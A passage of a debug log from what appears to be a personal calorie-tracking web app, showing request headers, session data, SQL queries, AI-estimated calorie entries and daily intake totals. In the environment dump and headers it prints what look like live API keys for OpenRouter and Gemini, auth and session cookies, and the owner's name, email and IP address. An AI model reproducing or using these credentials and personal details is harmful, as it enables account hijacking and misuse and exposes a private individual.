    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AxHYmim%2FoTc2KPr20nQzwHw%3D%3D.qe02wUH0YRZYaXKav45rB4DBUaj2icdyYNp1OO7MyZ1T4ywBAMqIA%2F4bvpGPxj7JNVMmvCsEGtMJhokdl5ucyrVGPyqcRNCbbL8%2BvHE7P2jpJJOvBm6ubZZGZjcdwIH9vmmR7HTuaphBTcGnWsrux6ZdqofHn3id%2BEGaMmNxq0c%3D.02FtE%2Fw1H00POOUi2OPFEWTqT8t0D%2FpiwuiqEIcJyis; your_r_git.sid=s%3AQq2tibWaXFO9cZFfGA0LsqHfV2TP-kyq.AwMsduKU1UcD2nJ37hxe0X1YegdXBkKwRJRl%2Fh5dvOg',
    'x-forwarded-for': '157.48.250.142',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-25T00:44:59.523Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '157.48.250.142',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AxHYmim%2FoTc2KPr20nQzwHw%3D%3D.qe02wUH0YRZYaXKav45rB4DBUaj2icdyYNp1OO7MyZ1T4ywBAMqIA%2F4bvpGPxj7JNVMmvCsEGtMJhokdl5ucyrVGPyqcRNCbbL8%2BvHE7P2jpJJOvBm6ubZZGZjcdwIH9vmmR7HTuaphBTcGnWsrux6ZdqofHn3id%2BEGaMmNxq0c%3D.02FtE%2Fw1H00POOUi2OPFEWTqT8t0D%2FpiwuiqEIcJyis; your_r_git.sid=s%3AQq2tibWaXFO9cZFfGA0LsqHfV2TP-kyq.AwMsduKU1UcD2nJ37hxe0X1YegdXBkKwRJRl%2Fh5dvOg',
    'HTTP_X_FORWARDED-FOR': '157.48.250.142',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-24T00:58:15.267Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-24T00:58:15.267Z server-connect:app Executing action step identify
2025-12-24T00:58:15.267Z server-connect:app options: { provider: 'security' }
2025-12-24T00:58:15.267Z server-connect:output identity: 1
2025-12-24T00:58:15.267Z server-connect:app Executing action step restrict
2025-12-24T00:58:15.267Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T00:58:15.268Z server-connect:output restrict: undefined
2025-12-24T00:58:15.268Z server-connect:app Executing action step single
2025-12-24T00:58:15.268Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-24T00:58:15.270Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-24T00:58:15.270Z server-connect:app Executing action step select
2025-12-24T00:58:15.270Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-24T00:58:15.271Z server-connect:output item_list: []
2025-12-24T00:58:15.271Z server-connect:app Executing action step setvalue
2025-12-24T00:58:15.271Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-24T00:58:15.272Z server-connect:output var_total: 0
2025-12-24T00:58:15.272Z server-connect:app Executing action step setvalue
2025-12-24T00:58:15.272Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-24T00:58:15.272Z server-connect:output var_consumed: 0
2025-12-24T00:58:15.272Z server-connect:app Executing action step setvalue
2025-12-24T00:58:15.272Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-24T00:58:15.272Z server-connect:output var_deficit: 2400
2025-12-24T00:58:15.272Z server-connect:app Executing action step custom
2025-12-24T00:58:15.272Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-24T00:58:15.273Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-24T00:58:15.274Z server-connect:app Executing action step identify
2025-12-24T00:58:15.274Z server-connect:app options: { provider: 'security' }
2025-12-24T00:58:15.274Z server-connect:output identity: 1
2025-12-24T00:58:15.274Z server-connect:app Executing action step restrict
2025-12-24T00:58:15.274Z server-connect:app options: { provider: 'security' }
2025-12-24T00:58:15.274Z server-connect:output restrict: undefined
2025-12-24T00:58:15.274Z server-connect:app Executing action step single
2025-12-24T00:58:15.274Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-24T00:58:15.275Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '972',
    surplus_or_deficit: '1428',
    status_flag: 2
  },
  {
    intake_date: 2025-12-21T18:30:00.000Z,
    total_consumed: '1325',
    surplus_or_deficit: '1075',
    status_flag: 2
  },
  {
    intake_date: 2025-12-22T18:30:00.000Z,
    total_consumed: '1052',
    surplus_or_deficit: '1348',
    status_flag: 2
  }
]
2025-12-24T00:58:15.276Z server-connect:output summary: undefined
2025-12-24T00:58:15.869Z server-connect:app Executing action step identify
2025-12-24T00:58:15.869Z server-connect:app options: { provider: 'security' }
2025-12-24T00:58:15.869Z server-connect:output identity: 1
2025-12-24T00:58:29.123Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-24T00:58:29.123Z server-connect:app Executing action step identify
2025-12-24T00:58:29.123Z server-connect:app options: { provider: 'security' }
2025-12-24T00:58:29.123Z server-connect:output identity: 1
2025-12-24T00:58:29.123Z server-connect:app Executing action step restrict
2025-12-24T00:58:29.124Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T00:58:29.124Z server-connect:output restrict: undefined
2025-12-24T00:58:29.877Z server-connect:app Executing action step processWithGemini
2025-12-24T00:58:29.877Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-24T00:58:32.807Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Jamfal (Guava)',
      quantity: '2 slices',
      calories_consumed: 30,
      total_calories: 30,
      protein: 0.6,
      carbs: 7.2,
      fat: 0.2,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: "Jamfal is a good source of Vitamin C and fiber, beneficial for overall health and recovery. It's a low-calorie fruit."
    },
    {
      food_name: 'Pre-workout supplement',
      quantity: '1 scoop',
      calories_consumed: 10,
      total_calories: 10,
      protein: 0,
      carbs: 2,
      fat: 0,
      lower_calorie_alternatives: [Array],
      skip_level: 2,
      skip_reason: "While pre-workouts can provide a boost for intense sessions, they often contain artificial sweeteners, colors, and stimulants. For muscle development, focus on whole foods and adequate sleep. If you feel you need it, ensure it's a high-quality product with minimal additives. Consider if the energy boost is truly necessary for every session or if natural sources can suffice."
    }
  ],
  total_macros: {
    protein: { value: 0.6, unit: 'g' },
    carbs: { value: 9.2, unit: 'g' },
    fat: { value: 0.2, unit: 'g' },
    calories: { value: 40, unit: 'kcal' }
  }
}
2025-12-24T00:58:36.877Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-24T00:58:36.878Z server-connect:app Executing action step identify
2025-12-24T00:58:36.878Z server-connect:app options: { provider: 'security' }
2025-12-24T00:58:36.878Z server-connect:output identity: 1
2025-12-24T00:58:36.878Z server-connect:app Executing action step restrict
2025-12-24T00:58:36.878Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T00:58:36.879Z server-connect:output restrict: undefined
2025-12-24T00:58:36.879Z server-connect:app Executing action step condition
2025-12-24T00:58:36.879Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-24T00:58:36.879Z server-connect:app Executing action step repeat
2025-12-24T00:58:36.879Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-24T00:58:36.880Z server-connect:app Executing action step insert
2025-12-24T00:58:36.880Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-24T00:58:36.882Z server-connect:output calories: { affected: 1, identity: 500 }
2025-12-24T00:58:36.882Z server-connect:app Executing action step insert
2025-12-24T00:58:36.882Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-24T00:58:36.883Z server-connect:output calories: { affected: 1, identity: 501 }
2025-12-24T00:58:36.883Z server-connect:output repeat: [ {}, {} ]
2025-12-24T00:58:36.883Z server-connect:output condition: undefined
2025-12-24T00:58:37.152Z server-connect:router Serving templateView /calorie-tracker
2025-12-24T00:58:37.152Z server-connect:app Executing action step identify
2025-12-24T00:58:37.152Z server-connect:app options: { provider: 'security' }
2025-12-24T00:58:37.152Z server-connect:output identity: 1
2025-12-24T00:58:37.152Z server-connect:app Executing action step restrict
2025-12-24T00:58:37.152Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T00:58:37.153Z server-connect:output restrict: undefined
2025-12-24T00:58:37.153Z server-connect:router Render template layouts/main
2025-12-24T00:58:37.153Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AxHYmim%2FoTc2KPr20nQzwHw%3D%3D.qe02wUH0YRZYaXKav45rB4DBUaj2icdyYNp1OO7MyZ1T4ywBAMqIA%2F4bvpGPxj7JNVMmvCsEGtMJhokdl5ucyrVGPyqcRNCbbL8%2BvHE7P2jpJJOvBm6ubZZGZjcdwIH9vmmR7HTuaphBTcGnWsrux6ZdqofHn3id%2BEGaMmNxq0c%3D.02FtE%2Fw1H00POOUi2OPFEWTqT8t0D%2FpiwuiqEIcJyis; your_r_git.sid=s%3AQq2tibWaXFO9cZFfGA0LsqHfV2TP-kyq.AwMsduKU1UcD2nJ37hxe0X1YegdXBkKwRJRl%2Fh5dvOg',
    'x-forwarded-for': '157.48.250.142',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-25T00:44:59.523Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.250.142',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AxHYmim%2FoTc2KPr20nQzwHw%3D%3D.qe02wUH0YRZYaXKav45rB4DBUaj2icdyYNp1OO7MyZ1T4ywBAMqIA%2F4bvpGPxj7JNVMmvCsEGtMJhokdl5ucyrVGPyqcRNCbbL8%2BvHE7P2jpJJOvBm6ubZZGZjcdwIH9vmmR7HTuaphBTcGnWsrux6ZdqofHn3id%2BEGaMmNxq0c%3D.02FtE%2Fw1H00POOUi2OPFEWTqT8t0D%2FpiwuiqEIcJyis; your_r_git.sid=s%3AQq2tibWaXFO9cZFfGA0LsqHfV2TP-kyq.AwMsduKU1UcD2nJ37hxe0X1YegdXBkKwRJRl%2Fh5dvOg',
    'HTTP_X_FORWARDED-FOR': '157.48.250.142',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-24T00:58:37.339Z server-connect:app Executing action step identify
2025-12-24T00:58:37.339Z server-connect:app options: { provider: 'security' }
2025-12-24T00:58:37.339Z server-connect:output identity: 1
2025-12-24T00:58:37.693Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-24T00:58:37.694Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-24T00:58:37.695Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-24T00:58:37.696Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-24T00:58:37.696Z server-connect:app Executing action step identify
2025-12-24T00:58:37.696Z server-connect:app options: { provider: 'security' }
2025-12-24T00:58:37.696Z server-connect:output identity: 1
2025-12-24T00:58:37.696Z server-connect:app Executing action step restrict
2025-12-24T00:58:37.696Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T00:58:37.697Z server-connect:app Executing action step identify
2025-12-24T00:58:37.697Z server-connect:app options: { provider: 'security' }
2025-12-24T00:58:37.697Z server-connect:output identity: 1
2025-12-24T00:58:37.697Z server-connect:app Executing action step restrict
2025-12-24T00:58:37.697Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T00:58:37.697Z server-connect:app Executing action step identify
2025-12-24T00:58:37.697Z server-connect:app options: { provider: 'security' }
2025-12-24T00:58:37.697Z server-connect:output identity: 1
2025-12-24T00:58:37.697Z server-connect:app Executing action step restrict
2025-12-24T00:58:37.697Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T00:58:37.699Z server-connect:output restrict: undefined
2025-12-24T00:58:37.699Z server-connect:app Executing action step select
2025-12-24T00:58:37.699Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-24T00:58:37.699Z server-connect:app Executing action step identify
2025-12-24T00:58:37.699Z server-connect:app options: { provider: 'security' }
2025-12-24T00:58:37.700Z server-connect:output identity: 1
2025-12-24T00:58:37.700Z server-connect:app Executing action step restrict
2025-12-24T00:58:37.700Z server-connect:app options: { provider: 'security' }
2025-12-24T00:58:37.700Z server-connect:output restrict: undefined
2025-12-24T00:58:37.700Z server-connect:app Executing action step single
2025-12-24T00:58:37.700Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-24T00:58:37.701Z server-connect:output restrict: undefined
2025-12-24T00:58:37.702Z server-connect:app Executing action step single
2025-12-24T00:58:37.702Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-24T00:58:37.702Z server-connect:output restrict: undefined
2025-12-24T00:58:37.702Z server-connect:app Executing action step single
2025-12-24T00:58:37.702Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-24T00:58:37.703Z server-connect:output summary: undefined
2025-12-24T00:58:37.705Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-24T00:58:37.708Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
